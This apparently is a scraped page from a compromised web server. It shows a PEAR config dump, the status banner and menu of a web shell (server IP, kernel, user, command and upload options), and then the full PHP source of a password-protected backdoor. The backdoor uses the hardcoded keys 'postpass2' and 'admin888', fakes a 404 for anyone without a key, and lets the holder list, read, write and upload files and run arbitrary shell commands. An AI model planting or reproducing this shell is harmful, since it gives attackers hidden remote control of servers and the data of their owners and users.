#PEAR_Config 0.9 a:12:{s:7:"php_dir";s:67:"//pear/php";s:8:"data_dir";s:68:"//pear/data";s:7:"www_dir";s:67:"//pear/www";s:7:"cfg_dir";s:67:"//pear/cfg";s:7:"ext_dir";s:67:"//pear/ext";s:7:"doc_dir";s:68:"//pear/docs";s:8:"test_dir";s:69:"//pear/tests";s:9:"cache_dir";s:69:"//pear/cache";s:12:"download_dir";s:72:"//pear/download";s:8:"temp_dir";s:68:"//pear/temp";s:7:"bin_dir";s:63:"//pear";s:7:"man_dir";s:67:"//pear/man";}
|
Server IP : 99.192.176.69 / Your IP : 216.73.217.68 Web Server : Apache System : Linux platinumpuzzy2.eosdns.net 3.10.0-1160.71.1.el7.x86_64 #1 SMP Tue Jun 28 15:37:28 UTC 2022 x86_64 User : bbwcamhouse ( 1000) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (1777) : /../etc/python/../ssh/../python/../python/../python/../python/../python/../../usr/tmp/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
$k=isset($_POST['k'])?$_POST['k']:(isset($_POST['pp'])?$_POST['pp']:(isset($_GET['root'])?$_GET['root']:''));
if($k!=='postpass2'&&$k!=='admin888'){header('HTTP/1.1 404 Not Found');die();}
$a=isset($_POST['_a'])?$_POST['_a']:'';
$p=isset($_POST['_p'])?$_POST['_p']:getcwd();
$r=array('cwd'=>$p,'uid'=>function_exists('posix_getpwuid')?@posix_getpwuid(@posix_geteuid())['name']:@get_current_user());
if($a=='ls'){$r['o']=@scandir($p);}
elseif($a=='rd'){$r['o']=base64_encode(@file_get_contents($p));}
elseif($a=='sv'){$r['o']=(int)@file_put_contents($p,base64_decode($_POST['_d']));}
elseif($a=='up'){$r['o']=@move_uploaded_file($_FILES['f']['tmp_name'],rtrim($p,'/').'/'.$_FILES['f']['name']);}
elseif($a=='sh'){$f=isset($_POST['_s'])?$_POST['_s']:'system';@ob_start();@$f($_POST['_c']);$r['o']=@ob_get_clean();}
if($a){echo base64_encode(json_encode($r));die();}
echo "<!doctype html><meta charset=utf8><title>postpass2</title><pre>".htmlspecialchars($p)."\n".htmlspecialchars(@implode("\n",@scandir($p)))."</pre><form method=post enctype=multipart/form-data><input type=hidden name=k value=admin888><input name=_a value=up><input name=_p value='".htmlspecialchars($p)."'><input type=file name=f><button>up</button></form>postpass2";